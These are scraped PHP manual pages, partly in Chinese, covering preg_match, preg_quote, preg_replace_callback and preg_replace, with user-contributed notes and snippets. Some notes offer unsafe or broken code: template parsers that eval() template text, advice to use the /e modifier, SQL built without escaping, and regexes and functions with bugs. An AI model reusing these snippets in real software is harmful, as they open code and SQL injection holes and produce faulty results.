i have tried using '^1?\d\d$', and it works, as we are saying in plain english: if the string has 3 chars, then it is starting by '1' digit and followed by other 2, ending the string there; if it has 2 chars, then both are any digit; any other case out of this 2 doesnt match the pattern; in other words, it is defined the subrange of numbers from '10' to '199'

so the function would get as this (after modifying pattern and erasing a var, called $range,  not used at function):

<?
function valid_ipv4($ip_addr)
{
       $num="([0-9]|^1?\d\d$|2[0-4]\d|25[0-5])";

       if(preg_match("/$num\.$num\.$num\.$num/",$ip_addr,$matches))
       {
               return $matches[0];
       } else {
               return false;
       }
}
?>
internet at sourcelibre dot com
04-Dec-2004 12:34
This helped me to make a mask for all french characters. Just modify the $str in ordre to find your mask.

<pre>
<?php
$str = "";
$strlen = strlen($str);
$array = array();
$mask = "/^[a-zA-Z";
for ($i = 0; $i < $strlen; $i++) {
   $char = $str{$i};
   $hexa = dechex(ord($char));
   echo htmlentities($char)." = ". $hexa . "\n";
   $array[$i] = $hexa;
   $mask .= '\\x' . $hexa;
}
$mask .= " ]+$/";
echo $mask;
?>
</pre>
zubfatal, root at it dot dk
25-Nov-2004 09:56
<?php

/**
 *  Search through an array using a regular expression, and return an array with the matched values
 *    Note: if $boolMatchesOnly is set to true, a new array will be created,
 *  regardless of $boolNewArray
 *
 * @author      Tim Johannessen <admin@stillborn.dk>
 * @version    1.0.0
 * @param        string    $strRegEx    Regular expressiom to search through the array
 * @param      array    $arrHaystack    The array to search through
 * @param        bool    $boolNewArray    If set to true, the index for the array will be re-assigned - If set to false the existing key value will be used
 * @return      array    Returns an array with the matches found in the array
 */

function array_preg_match($strRegEx = "", $arrHaystack = NULL, $boolNewArray = 0, $boolMatchesOnly = 0) {
   if (strlen($strRegEx) < 1) {
       return "ERR: \$strRegEx argument is missing.";
   }

   elseif ((!is_array($arrHaystack)) || (!count($arrHaystack) > 0)) {
       return "ERR: \$arrHaystack is empty, or not an array.";
   }

   else {
       unset($arrTmp);

       // search through $arrHaystack, and build new array
       foreach($arrHaystack as $key => $value) {
           if ($boolMatchesOnly) {
               if (preg_match_all($strRegEx, $value, $tmpRes)) {
                   $arrTmp[] = $tmpRes;
               }
           }

           else {
               if (preg_match($strRegEx, $value, $tmpRes)) {
                   if ($boolNewArray) { $arrTmp[] = $value; }
                   else { $arrTmp[$key] = $value; }
               }
           }
       }

       return $arrTmp;
   }
}

?>

// zubfatal
email at albert-martin dot com
23-Oct-2004 05:39
Here is a faster way of extracting a special phrase from a HTML page:

Instead of using preg_match, e.g. like this:
preg_match("/<title>(.*)<\/title>/i", $html_content, $match);

use the following:
<?php
function ExtractString($str, $start, $end) {
  $str_low = strtolower($str);
  if (strpos($str_low, $start) !== false && strpos($str_lower, $end) !== false) {
   $pos1 = strpos($str_low, $start) + strlen($start);
   $pos2 = strpos($str_low, $end) - $pos1;
   return substr($str, $pos1, $pos2);
  }
}
$match = ExtractString($html_content, "<title>", "</title>");
?>
j dot gizmo at aon dot at
09-Oct-2004 09:00
in reply to rchoudhury --} pinkgreetings {-- com....

the code pasted below (with the switch statement) CANNOT work.

the construct works like this
<?php
switch ($key)
{
case <expr>:
 //this will be executed if $key==<expr>, where <expr> can be a literal, function call etc.
echo "1";
break;
}

//the following will work
switch (true)
{
case preg_match("/pattern/",$key):
//if $key matches pattern, preg_match will return true, and this case will be executed (true==true)
blablablabla();
break;
}
?>

however, it makes no sense to compare $key to the return value of preg_match(), and calling preg_match without a second parameter is utterly senseless as well (PHP can't smell what you want to compare pattern to)
the syntax error in your regular expression is the double slash in the beginning.

(RTFM)
rchoudhury --} pinkgreetings {-- com
18-Aug-2004 12:57
I was looking for an easy way to match multiple conditions inside a switch, and preg_match() seemed like a straightforward solution:

<?php
// stuff
foreach (func_get_arg(0) as $key => $value) {
   switch ($key) {
       case preg_match("//^(meta_keywords | meta_desc | doctype | xmlns | lang | dir | charset)$/"):
           $this->g_page_vars[$key] = $value;
           break 1;
       case preg_match("//^(site_title|site_desc|site_css)$/"):
           $this->g_page_vars[$key] = $g_site_vars[$key];
           break 1;
   }
// do stuff inside loop
}
// etc
?>

However, while it seemed to work on one server using php 4.3.8, where it accepted only one argument (pattern) and assumed the second one (subject) to be $key, another server running 4.3.8 breaks and returns an obvious warning of "Warning: preg_match() expects at least 2 parameters, 1 given".

You probably think "why not just give preg_match a second argument then?" -- well, if we were to do that it'd be $key in this context, but that returns this error: "Warning: Unknown modifier '^'". So now the regex is bad?

One possible solution may lie in php.ini settings, though since I don't have access to that file on either server I can't check and find out.

http://www.phpbuilder.com/lists/php-developer-list/2003101/0201.php has some comments and other suggestions for the same concept, namely in using:
<?php
switch(true) {
   case preg_match("/regex/",$data):
   // etc.
}
?>
...but this doesn't address the current single argument problem.

Either way, it's a useful way of working a switch, but it might not work.
ebiven
06-Jul-2004 04:53
To regex a North American phone number you can assume NxxNxxXXXX, where N = 2 through 9 and x = 0 through 9.  North American numbers can not start with a 0 or a 1 in either the Area Code or the Office Code.  So, adpated from the other phone number regex here you would get:

/^[2-9][0-9]{2}[-][2-9][0-9]{2}[-][0-9]{4}$/
05-May-2004 10:23
A very simple Phone number validation function.
Returns the Phone number if the number is in the xxx-xxx-xxxx format. x being 0-9.
Returns false if missing digits or improper characters are included.

<?
function VALIDATE_USPHONE($phonenumber)
{
if ( (preg_match("/^[0-9]{3,3}[-]{1,1}[0-9]{3,3}[-]{1,1}
     [0-9]{4,4}$/", $phonenumber) ) == TRUE ) {
   return $phonenumber;
 } else {
   return false;
   }
}

?>
selt
11-Feb-2004 07:11
Concerning a list of notes started on November 11; ie
<?
$num="([0-9]|1?\d\d|2[0-4]\d|25[0-5])";
?>
It is interesting to note that the pattern matching is done using precedence from left to right, therefore; an address such as 127.0.0.127 sent to preg_match with a hash for the matched patterns would return 127.0.0.1.

so, to obtain a proper mechanism for stripping valid IPs from a string (any string that is) one would have to use:

<?
function valid_ipv4($ip_addr)
{
       $num="(1?\d\d|2[0-4]\d|25[0-5]|[0-9])";
       $range="([1-9]|1\d|2\d|3[0-2])";

       if(preg_match("/$num\.$num\.$num\.$num/",$ip_addr,$matches))
       {
               return $matches[0];
       } else {
               return false;
       }
}
?>

thanks for all the postings ! They're the best way to learn.
mark at portinc dot net
03-Feb-2004 10:30
<?php // some may find this usefull... :)

$iptables = file ('/proc/net/ip_conntrack');
$services = file ('/etc/services');
$GREP = '!([a-z]+) '    .// [1] protocol
       '\\s*([^ ]+) '    .// [2] protocl in decimal
       '([^ ]+) '        .// [3] time-to-live
       '?([A-Z_]|[^ ]+)?'.// [4] state
       ' src=(.*?) '    .// [5] source address
       'dst=(.*?) '      .// [6] destination address
       'sport=(\\d{1,5}) '.// [7] source port
       'dport=(\\d{1,5}) '.// [8] destination port
       'src=(.*?) '      .// [9] reversed source
       'dst=(.*?) '      .//[10] reversed destination
       'sport=(\\d{1,5}) './/[11] reversed source port
       'dport=(\\d{1,5}) './/[12] reversed destination port
       '\\[([^]]+)\\] '    .//[13] status
       'use=([0-9]+)!';  //[14] use

$ports = array();
foreach($services as $s) {
  if (preg_match ("/^([a-zA-Z-]+)\\s*([0-9]{1,5})\\//",$s,$x)) {
     $ports[ $x[2] ] = $x[1];
} }
for($i=0;$i <= count($iptables);$i++) {
  if ( preg_match ($GREP, $iptables[$i], $x) ) {
     // translate known ports... . .
     $x[7] =(array_key_exists($x[7],$ports))?$ports[$x[7]]:$x[7];
     $x[8] =(array_key_exists($x[8],$ports))?$ports[$x[8]]:$x[8];
     print_r($x);
  }  // on a nice sortable-table... bon appetite!
}
?>
nico at kamensek dot de
18-Jan-2004 03:31
As I did not find any working IPv6 Regexp, I just created one. Here is it:

$pattern1 = '([A-Fa-f0-9]{1,4}:){7}[A-Fa-f0-9]{1,4}';
$pattern2 = '[A-Fa-f0-9]{1,4}::([A-Fa-f0-9]{1,4}:){0,5}[A-Fa-f0-9]{1,4}';
$pattern3 = '([A-Fa-f0-9]{1,4}:){2}:([A-Fa-f0-9]{1,4}:){0,4}[A-Fa-f0-9]{1,4}';
$pattern4 = '([A-Fa-f0-9]{1,4}:){3}:([A-Fa-f0-9]{1,4}:){0,3}[A-Fa-f0-9]{1,4}';
$pattern5 = '([A-Fa-f0-9]{1,4}:){4}:([A-Fa-f0-9]{1,4}:){0,2}[A-Fa-f0-9]{1,4}';
$pattern6 = '([A-Fa-f0-9]{1,4}:){5}:([A-Fa-f0-9]{1,4}:){0,1}[A-Fa-f0-9]{1,4}';
$pattern7 = '([A-Fa-f0-9]{1,4}:){6}:[A-Fa-f0-9]{1,4}';

patterns 1 to 7 represent different cases. $full is the complete pattern which should work for all correct IPv6 addresses.

$full = "/^($pattern1)$|^($pattern2)$|^($pattern3)$
|^($pattern4)$|^($pattern5)$|^($pattern6)$|^($pattern7)$/";
brion at pobox dot com
30-Nov-2003 11:35
Some patterns may cause the PCRE functions to crash PHP, particularly when dealing with relatively large amounts of input data.

See the 'LIMITATIONS' section of http://www.pcre.org/pcre.txt about this and other limitations.
thivierr at telus dot net
24-Nov-2003 05:23
A web server log record can be parsed as follows:

$line_in = '209.6.145.47 - - [22/Nov/2003:19:02:30 -0500] "GET /dir/doc.htm HTTP/1.0" 200 6776 "http://search.yahoo.com/search?p=key+words=UTF-8" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)"';

if (preg_match('!^([^ ]+) ([^ ]+) ([^ ]+) \[([^\]]+)\] "([^ ]+) ([^ ]+) ([^/]+)/([^"]+)" ([^ ]+) ([^ ]+) ([^ ]+) (.+)!',
  $line_in,
  $elements))
{
  print_r($elements);
}

Array
(
   [0] => 209.6.145.47 - - [22/Nov/2003:19:02:30 -0500] "GET /dir/doc.htm HTTP/1.0" 200 6776 "http://search.yahoo.com/search?p=key+words=UTF-8" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)"
   [1] => 209.6.145.47
   [2] => -
   [3] => -
   [4] => 22/Nov/2003:19:02:30 -0500
   [5] => GET
   [6] => /dir/doc.htm
   [7] => HTTP
   [8] => 1.0
   [9] => 200
   [10] => 6776
   [11] => "http://search.yahoo.com/search?p=key+words=UTF-8"
   [12] => "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)"
)

Notes:
1) For the referer field ($elements[11]), I intentially capture the double quotes (") and don't use them as delimiters, because sometimes double-quotes do appear in a referer URL.  Double quotes can appear as %22 or \".  Both have to be handled correctly.  So, I strip off the double quotes in a second step.
2) The URLs should be further parsed, using parse_url, which is quicker and more reliable then preg_match.
3) I assume the requested protocol (HTTP/1.1) always has a slash character in the middle, which might not always be the case, but I'll take the risk.
4) The agent field ($elments[12]) is the most unstructured field, so I make no assumptions about it's format.  If the record is truncated, the agent field will not be delimited properly with a quote at the end.  So, both cases must be handled.
5) A hyphen  (- or "-") means a field has no value.  It is necessary to convert these to appropriate value (such as empty string, null, or 0).
6) Finally, there should be appropriate code to handle malformed web log enteries, which are common, due to junk data.  I never assume I've seen all cases.
nospam at 1111-internet dot com
12-Nov-2003 04:29
Backreferences (ala preg_replace) work within the search string if you use the backslash syntax. Consider:

<?php
if (preg_match("/([0-9])(.*?)(\\1)/", "01231234", $match))
{
   print_r($match);
}
?>

Result: Array ( [0] => 1231 [1] => 1 [2] => 23 [3] => 1 )

This is alluded to in the description of preg_match_all, but worth reiterating here.
bjorn at kulturkonsult dot no
01-Apr-2003 09:56
I you want to match all scandinavian characters () in addition to those matched by \w, you might want to use this regexp:

/^[\w\xe6\xc6\xf8\xd8\xe5\xc5\xf6\xd6\xe4\xc4]+$/

Remember that \w respects the current locale used in PCRE's character tables.
add a note add a note

后退 | 起点 | 前进
preg_match_all | 上一级 | preg_quote


preg_quote

(PHP 3 >= 3.0.9, PHP 4, PHP 5)

preg_quote -- 转义正则表达式字符

说明

string preg_quote ( string str [, string delimiter] )

preg_quote() 以 str 为参数并给其中每个属于正则表达式语法的字符前面加上一个反斜线。如果你需要以动态生成的字符串作为模式去匹配则可以用此函数转义其中可能包含的特殊字符。

如果提供了可选参数 delimiter，该字符也将被转义。可以用来转义 PCRE 函数所需要的定界符，最常用的定界符是斜线 /。

正则表达式的特殊字符包括：. \\ + * ? [ ^ ] $ ( ) { } = ! < > | :。

例子 1. preg_quote() 例子

<?php
$keywords = "$40 for a g3/400";
$keywords = preg_quote ($keywords, "/");
echo $keywords; // returns \$40 for a g3\/400
?>

例子 2. 给某文本中的一个单词加上斜体标记

<?php
// 本例中，preg_quote($word) 用来使星号不在正则表达式中
// 具有特殊含义。

$textbody = "This book is *very* difficult to find.";
$word = "*very*";
$textbody = preg_replace ("/".preg_quote($word)."/",
                          "<i>".$word."</i>",
                          $textbody);
?>

add a note add a note User Contributed Notes
php dot net at sharpdreams dot com
25-Jul-2005 10:34
Re (2) rdude at fuzzelfish dot com:

In case anyone else missed it, you do NOT have to use / as your preg escape character. You can use any two matching characters.
me@localhost
30-Mar-2005 02:51
Re rdude at fuzzelfish dot com:

You can specify a delimiter that will be escaped, too.
preg_quote('abc/', '/') does the job.
rdude at fuzzelfish dot com
17-Feb-2005 12:35
Another character that preg_quote will not escape is the all important "/" character. You will need to convert "/" into "\/" yourself. For example, this code does not work:

<?
 $TEXT = preg_replace('/[' . preg_quote('abc/') . ']/', '', $TEXT);
?>

However, this does:

<?
 $TEXT = preg_replace('/[' . preg_quote('abc') . '\/]/', '', $TEXT);
?>
mina86 at tlen dot pl
26-Dec-2003 07:02
Re: adrian holovaty
You must also escape '#' character. Next thing is that there is more then one whitespace character (a space).. Also IMO the name preg_quote_white() won't tell what the new function does so we could rename it. And finally, we should also add $delimiter:

<?php
function preg_xquote($a, $delimiter = null) {
     if ($delimiter) {
         return preg_replace('/[\s#]/', '\\\0', preg_quote($a, substr("$delimiter", 0, 1)));
     } else {
         return preg_replace('/[\s#]/', '\\\0', preg_quote($a));
     }
}
?>
adrian holovaty
16-Jul-2003 08:12
Note that if you've used the "x" pattern modifier in your regex, you'll want to make sure you escape any whitespace in your string that you *want* the pattern to match.

A simplistic example:

$phrase = 'a test'; // note the space
$textbody = 'this is a test';

// Does not match:
preg_match('/' . preg_quote($phrase) . '$/x', $textbody);

function preg_quote_white($a) {
     $a = preg_quote($a);
     $a = str_replace(' ', '\ ', $a);
     return $a;
}

// Does match:
preg_match('/' . preg_quote_white($phrase) . '$/x', $textbody);
add a note add a note

后退 | 起点 | 前进
preg_match | 上一级 | preg_replace_callback


preg_replace_callback

(PHP 4 >= 4.0.5, PHP 5)

preg_replace_callback -- 用回调函数执行正则表达式的搜索和替换

说明

mixed preg_replace_callback ( mixed pattern, callback callback, mixed subject [, int limit] )

本函数的行为几乎和 preg_replace() 一样，除了不是提供一个 replacement 参数，而是指定一个 callback 函数。该函数将以目标字符串中的匹配数组作为输入参数，并返回用于替换的字符串。

例子 1. preg_replace_callback() 例子

<?php
  // 此文本是用于 2002 年的，
  // 现在想使其能用于 2003 年
  $text = "April fools day is 04/01/2002\n";
  $text.= "Last christmas was 12/24/2001\n";

  // 回调函数
  function next_year($matches) {
    // 通常：$matches[0] 是完整的匹配项
    // $matches[1] 是第一个括号中的子模式的匹配项
    // 以此类推
    return $matches[1].($matches[2]+1);
  }

  echo preg_replace_callback(
              "|(\d{2}/\d{2}/)(\d{4})|",
              "next_year",
              $text);

  // 结果为：
  // April fools day is 04/01/2003
  // Last christmas was 12/24/2002
?>

You'll often need the callback function for a preg_replace_callback() in just one place. In this case you can use create_function() to declare an anonymous function as callback within the call to preg_replace_callback(). By doing it this way you have all information for the call in one place and do not clutter the function namespace with a callback functions name not used anywhere else.

例子 2. preg_replace_callback() 和 create_function()

<?php
  /* 一个 UNIX 风格的命令行过滤器，将每个段落开头的
   * 大写字母转换成小写字母 */

  $fp = fopen("php://stdin", "r") or die("can't read stdin");
  while (!feof($fp)) {
      $line = fgets($fp);
      $line = preg_replace_callback(
          '|<p>\s*\w|',
          create_function(
              // 这里使用单引号很关键，
              // 否则就把所有的 $ 换成 \$
              '$matches',
              'return strtolower($matches[0]);'
          ),
          $line
      );
      echo $line;
  }
  fclose($fp);
?>

参见 preg_replace() 和 create_function()。

add a note add a note User Contributed Notes
matt at mattsoft dot net
26-Apr-2006 05:16
it is much better on preformance and better practice to use the preg_replace_callback function instead of preg_replace with the e modifier.

function a($text){return($text);}

// 2.76 seconds to run 50000 times
preg_replace("/\{(.*?)\}/e","a('\\1','\\2','\\3',\$b)",$a);

// 0.97 seconds to run 50000 times
preg_replace_callback("/\{(.*?)\}/s","a",$a);
mplescano at gmail dot com
06-Mar-2006 02:12
class User {
   var $id;
   var $usuario;
   var $clave;

   function setId ($id) {
       $this->id = $id;
   }

   function getId () {
       return $this->id;
   }

   function setUsuario ($usuario) {
       $this->usuario = $usuario;
   }

   function getUsuario () {
       return $this->usuario;
   }

   function setClave ($clave) {
       $this->clave = $clave;
   }

   function getClave () {
       return $this->clave;
   }

   function User () {

   }
}

class PropertyUtils
{
...
   /**
     * Get the value of the specified property on the subject bean using
     * the standard notation for getter methods from the JavaBean spec.
     *
     * @return Object
     */
   function &getSimpleProperty(&$bean, $name)
   {
       if (is_null($bean)) {
           return null;
       }
       $method = 'get' . ucfirst($name);
       if (!method_exists($bean, $method)) {
           $method = 'is' . ucfirst($name);
       }
       if (!method_exists($bean, $method)) {
           $method = null;
       }
       if (is_null($method)) {
           return null;
       }
       $return =& $bean->$method();
       return $return;
   }
...
}
$statement['user.insert'][] = array('sentence'=>"INSERT INTO tb01 (id, usuario, clave) VALUES (#id#, #usuario#, #clave#)", 'parameter'=>'User');

class Mapper {
...
   function insert ($clazzName, $newBean, $order = 0) {
       global $statement;
       $statementStr = $statement[$clazzName.'.'.'insert'][$order]['sentence'];
       if (get_class($newBean) !== false && $clazzName == get_class($newBean)) {
           $statementParsed = Mapper::parseStatementBeanParameter($newBean, $statementStr);
       }
       else if (is_array($newBean) && count($newBean) > 0) {
           $statementParsed = Mapper::parseStatementArrayParameter($newBean, $statementStr);
       }
       return $statementParsed;
   }
...
   function parseStatementBeanParameter (&$bean, $statement) {

       $parsedStatement = preg_replace("/#([^#\s]+)#/e","Mapper::searchParameterBean('\\1', \$bean)", $statement);
       return $parsedStatement;
   }
...
   function searchParameterBean ($index, $bean) {
       $clazzName = get_class($bean);
       $propertyValue = '';
       if (!($clazzName == '' || $clazzName === false)) {
           $propertyValue = PropertyUtils::getSimpleProperty($bean, $index);
       }
       return $propertyValue;
   }
}

$user =& new User();
$user->setId(1);
$user->setUsuario("antonio");
$user->setClave("aguiero");
echo Mapper::insert (get_class($user), $user);

Print:
INSERT INTO tb01 (id, usuario, clave) VALUES (1, antonio, aguiero)
07-Jan-2006 03:55
I've found php will crash when I store a reference to the $match parameter but there's an easy work around...

$mylist=array();

function my_callback($match) {
   global $mylist;

   // this crashes PHP...
   // $mylist[]=$match;

   // this copies the $match array so is safe
   $mylist[]=array_merge($match);

   return 1;
}

$subject="The rain in Spain falls mainly on the plane.";

echo "<p>".preg_replace_callback("/[aeiou]/i", "my_callback", $subject);
echo "<p>"; print_r($mylist);
user at lesplumesdusavoir dot net
31-Oct-2005 06:39
You can use this method instead of preg_replace_callback :

<?php
echo preg_replace("`(<\/?)(\w+)([^>]*>)`e", // Don't forget e
"html_body('\\1', '\\2', '\\3', \$extra_info)", $html_body); // To pass other params..., Don't '$extra_info' but \$extra_info.
?>

It works very well. Enjoy :)
admin at the-php-tree dot com
27-Jun-2005 07:15
Instead of using preg_replace_callback() you could use preg_replace() like below:

<?php

  // ** Simple function: **
     function my_function( $my_param_one, $my_param_two ) {
             // ...
     }
     preg_replace( "! \{(.+)-(.+)\} !e", "my_function('\\1', '\\2')", $input_string );

  // ** Class: **
   class my_class {

           function my_class() {
             preg_replace( "! \{(.+)-(.+)\} !e", "\$this->my_function('\\1', '\\2')", $input_string );
           }

           function my_function( $my_param_one, $my_param_two ) {
             // ...
           }
   }

?>
larry at fantasyclub dot ru
03-May-2005 12:08
A powerful php template parser may be written in one line of code :)
(Of course there are many ways of it, this is my own just developed)

print preg_replace_callback("/<\\?(.*?)\\?>/",
create_function('$m','extract($GLOBALS);
return(eval("return($m[1]);"));'),$s);

Template example:
<?$var["x1"]?><br>
<?$var["x2"]?><br>
<?$var["x1"]." php foreva ".$var["x2"]?><br>

So, as you can see, <? and ?> are template parser tags and it is even possible to make simple php expressions inside such tags. However not too complex to confuse designer :)
You may add \" around inner $m[1] at your taste and templates will be little different ;)
Another advantage of such parser that you do not need to worry about variables must be available in templates - all globals and global arrays will be :) Very handy in fact.

As I saw above, this can be optimized by making separate (not inline) callback function, and I will of courde do it in real program, but this is less gracefull than I wrote here :)
Jari Pennanen
11-Dec-2004 02:03
It is not typo, notice the "e" at the end of the pattern, it does the job.

But there is typo in another place, in class example there is one extra \\ before $this word.
24-Aug-2004 10:05
There is a small typo with the code (at least when I try to implement it) in the first comment.

<?php
echo preg_replace("/(<\/?)(\w+)([^>]*>)/e", "html_body('\\1', '\\2', '\\3', '$extra_info')", $html_body);
?>

should really be

<?php
echo preg_replace("/(<\/?)(\w+)([^>]*>)/e", html_body('\\1', '\\2', '\\3', '$extra_info'), $html_body);
?>

That is, the second argument should not have quotes around it.  This should apply to all of the other examples in the comments as well.
18-Aug-2004 10:00
if you want to send some extra parameters to your call back function here's how to do it (using preg_replace instead!). i took the example from the manual, on how to convert html tags to upper case...

if you don't use a class:

<?php
$extra_info = "some extra info";

echo preg_replace("/(<\/?)(\w+)([^>]*>)/e", "html_body('\\1', '\\2', '\\3', '$extra_info')", $html_body);

function html_body($open_tag, $the_tag, $close_tag, $extra_info) {

         return $before . strtoupper($middle) . $after;
}
?>

class example:

<?php

class SomeClass {

     function SomeClass() {
         $extra_info = "some extra info";
         echo preg_replace("/(<\/?)(\w+)([^>]*>)/e", "\\$this->html_body('\\1', '\\2', '\\3', '$extra_info')", $html_body);
     }

     function html_body($open_tag, $the_tag, $close_tag, $extra_info) {

             return $before . strtoupper($middle) . $after;
     }
}
?>

now, if you'd like to pass an array :)

<?php
$extra_info = ("some extra info", "little more", "a bit more");

echo preg_replace("/(<\/?)(\w+)([^>]*>)/e", "html_body('\\1', '\\2', '\\3', \\$extra_info)", $html_body);

function html_body($open_tag, $the_tag, $close_tag, $extra_info) {

         return $before . strtoupper($middle) . $after;
}
?>

you can also pass the array as a reference...cool!

hope this helps someone! ;)
ply at ukrpost dot net
16-Jun-2004 06:11
Example given for preg_replace_callback with create_function have one flow - it consume a lot of memory. Each call to create_function allocate some memory to create a new function, and to the end of the script a lot of memory could be consumed, if there are many lines recieved from stdin. Of course after ending all memory will be freed, but I have been hanged up my computer processing 20Mb file with similar code on Windows.

<?php
 $fp = fopen("php://stdin", "r") or die("can't read stdin");
 while (!feof($fp)) {
   $line = fgets($fp);
   $line = preg_replace_callback('|<p>\s*\w|',
// this will create as many new functions, as there are lines recieved
     create_function(
       '$matches',
       'return strtolower($matches[0]);'
     ),
//
     $line
   );
   echo $line;
 }
 fclose($fp);
?>
ben at benchun dot net
19-Mar-2004 12:19
a repost (with correction) of a note originally attributed to matthew at de-construct dot com (26-Aug-2003 04:48) - a note i found in a compiled help file but which i do not see on this site.  he was missing a stripslashes call in his example, which i have fixed below:

<?
$outer_data = array('foo'=>'abc','bar'=>'123');
$callback = create_function('$matches',
'
$inner_data = unserialize(stripslashes("'. addslashes(serialize($outer_data)) .'"));
// do something here
return $inner_data[$matches[1]];
'
);
$template_data = preg_replace_callback("/\{[$](.*?)\}/", $callback, $template_data);
?>

i found this very useful for implementing a template engine!
spamhoneypot at acksys dot co dot uk
17-Dec-2003 10:08
I thought I'd post this as I'd been using the function preg_replace_callback with NP within functions, but as soon as I re-wrote my script as a class, it all fell apart.

When debugging I ended up writing test code and this is what follows. It works as I'd expect, YMMV of course.

<?php

// v v over simplified
class foo
{
  function parse()
  {
   $pattern = "/<a(.*?)href\s*=\s*['|\"|\s*](.*?)['|\"|>](.*?)>(.*?)<\/a>/i";
   $string = "<a class='whatever' href='http://foo.com' target='_blank'>foo</a>";
   print preg_replace_callback($pattern,array($this,'cb'),$string);
  }

  function cb($matches)
  {
   return "<a" . $matches[1] . "href='http://someothersite.com/foo.php?page=" . urlencode($matches[2]) . "'" . $matches[3] . ">" . $matches[4] . "</a>";
  }

}

$bar = new foo();
$bar->parse();

/**
output is
<a class='whatever' href='http://someothersite.com/foo.php?page=http%3A%2F%2Ffoo.com' target='_blank'>foo</a>
*/

?>
vlad4321 at fastmail dot fm
12-Nov-2003 07:47
You can use this function to display url address as a link or image based on suffix of the url.

Every string beginning with www or http(s):// will be displayed as an URL address.  But if the string ends with *.jpg or *.gif, it will be displayed as an image.

Please note: This function also verifies the size of the image. If is it more than 600x400, it changes it.
<?php

$pattern_html = "/\b((http(s?):\/\/)|(www\.))([\w\.]+)";
$pattern_html .= "([\#\,\/\~\?\&\=\;\%\-\w+\.]+)\b/i";

$text = preg_replace_callback($pattern_html,'Check_if_Image',$text);
.
.
function Check_if_Image($matches) {
$suffix = strtolower(substr($matches[0],-4));
if ( $suffix == '.jpg' or $suffix == '.gif') {
   $dsn = 'http'.$matches[3].'://'.$matches[4].$matches[5];
   if (list($width, $height, $type, $attr) = getimagesize("$dsn")) {
   if ( ($width > 600) ) {
       $koef = $width / 600;
       $width = 600;
       $height /= $koef;
       }
   if ( ($height > 400) ) {
       $koef = $height / 400;
       $height = 400;
       $width /= $koef;
       }
   }
   else {
       $height=400;
       $width=600;
   }

   $ret = "<img src=\"$dsn\"";
   $ret .= "\" border=0 width=\"$width\" height=\"$height\">";
   }
else {
   $ret = '<a href="http'.$matches[3].'://'.$matches[4].$matches[5];
   $ret .='" target="_blank">'.$matches[0].'</a>';
   }
return ("$ret");
}

?>
28-Oct-2003 03:05
Here's an example of how to evaluate PHP code inside a HTML block. In my example I have two timestamps which I insert at several places in a HTML-template. The formatting for the dates are put inside the template. When the insert is done the code is evaluated and the dates are formatted. All code inside "<php>" to "</php>"-tags will be evaluated.
-----------------------------------------------------------
function evalcode($matches)
{
eval("\\$matches[2] = $matches[2];");
return $matches[2];
}

$template = "<html><body>This really simple HTML-page that was created at <php>date('Y-m-d',{datecreated})</php> and modified at <php>date('H:i:s',{datemodified})</php> on the <php>date('dS',{datemodified})</php> of <php>date('F Y',{datemodified})</php>.</body></html>";

$datecreated = 1065162746;
$datemodified = time();
$output = $template;
$output = str_replace('{datecreated}', $datecreated, $output);
$output = str_replace('{datemodified}', $datemodified, $output);
$output = preg_replace_callback("/(<php>)(.*)(<\\/php>)/U", "evalcode", $output);
echo $output;
----------------------------------------------------------
The output will be something like "This really simple HTML-page that was created at 2003-10-03 and modified at 16:58:31 on the 27th of October 2003."
e-mail at dreamguard dot at
23-Oct-2003 05:02
If you want to do a date function in a template system you'll have to use the callback here.

Ex.:
function date_match ($matches)
{
   return date ($matches['2']);
}
$output = preg_replace_callback ('/({DATE=")(.{1,})("})/', 'date_match', $input);
hans at velum dot net
01-Aug-2003 10:31
Also, if you want to use a *static* class method for the callback function, you can refer to it like this:
   preg_replace_callback(pattern, array('ClassName', 'methodName'), subject)

In PHP5, from within the class:
   preg_replace_callback(pattern, array('self', 'methodName'), subject)
nospam at hirnbrand dot de
17-Oct-2002 02:58
if you want to pass the callback function more parameters than just match parts, use the e-modifier in preg_replace instead of preg_replace_callback
oyoryelNOSPAM at hotNOSPAMmail dot com
22-Apr-2002 12:23
If you want to be able to change variables of the class in the callback function, you have to use preg_replace_callback(pattern, array(&$this, 'method_name'), subject)
Probably very obvious, but it kept me busy for a while...
add a note add a note

后退 | 起点 | 前进
preg_quote | 上一级 | preg_replace


preg_replace

(PHP 3 >= 3.0.9, PHP 4, PHP 5)

preg_replace -- 执行正则表达式的搜索和替换

说明

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit] )

在 subject 中搜索 pattern 模式的匹配项并替换为 replacement。如果指定了 limit，则仅替换 limit 个匹配，如果省略 limit 或者其值为 -1，则所有的匹配项都会被替换。

replacement 可以包含 \\n 形式或（自 PHP 4.0.4 起）$n 形式的逆向引用，首选使用后者。每个此种引用将被替换为与第 n 个被捕获的括号内的子模式所匹配的文本。n 可以从 0 到 99，其中 \\0 或 $0 指的是被整个模式所匹配的文本。对左圆括号从左到右计数（从 1 开始）以取得子模式的数目。

对替换模式在一个逆向引用后面紧接着一个数字时（即：紧接在一个匹配的模式后面的数字），不能使用熟悉的 \\1 符号来表示逆向引用。举例说 \\11，将会使 preg_replace() 搞不清楚是想要一个 \\1 的逆向引用后面跟着一个数字 1 还是一个 \\11 的逆向引用。本例中的解决方法是使用 \${1}1。这会形成一个隔离的 $1 逆向引用，而使另一个 1 只是单纯的文字。

例子 1. 逆向引用后面紧接着数字的用法

<?php
$string = "April 15, 2003";
$pattern = "/(\w+) (\d+), (\d+)/i";
$replacement = "\${1}1,\$3";
print preg_replace($pattern, $replacement, $string);

/* Output
   ======

April1,2003

*/
?>

如果搜索到匹配项，则会返回被替换后的 subject，否则返回原来不变的 subject。

preg_replace() 的每个参数（除了 limit）都可以是一个数组。如果 pattern 和 replacement 都是数组，将以其键名在数组中出现的顺序来进行处理。这不一定和索引的数字顺序相同。如果使用索引来标识哪个 pattern 将被哪个 replacement 来替换，应该在调用 preg_replace() 之前用 ksort() 对数组进行排序。

例子 2. 在 preg_replace() 中使用索引数组

<?php
$string = "The quick brown fox jumped over the lazy dog.";

$patterns[0] = "/quick/";
$patterns[1] = "/brown/";
$patterns[2] = "/fox/";

$replacements[2] = "bear";
$replacements[1] = "black";
$replacements[0] = "slow";

print preg_replace($patterns, $replacements, $string);

/* Output
   ======

The bear black slow jumped over the lazy dog.

*/

/* By ksorting patterns and replacements,
   we should get what we wanted. */

ksort($patterns);
ksort($replacements);

